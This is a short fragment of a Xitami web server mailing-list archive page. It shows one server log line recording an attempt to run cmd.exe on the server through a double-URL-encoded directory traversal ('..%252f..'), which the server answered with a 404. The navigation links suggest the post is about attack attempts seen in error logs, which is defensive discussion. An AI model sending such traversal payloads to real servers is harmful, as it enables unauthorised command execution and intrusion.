/scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "" ""
Previous message: [Xitami] lrwplib C++ wrapper?
Next message: [Xitami] Error log shows hacking attempts?
Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]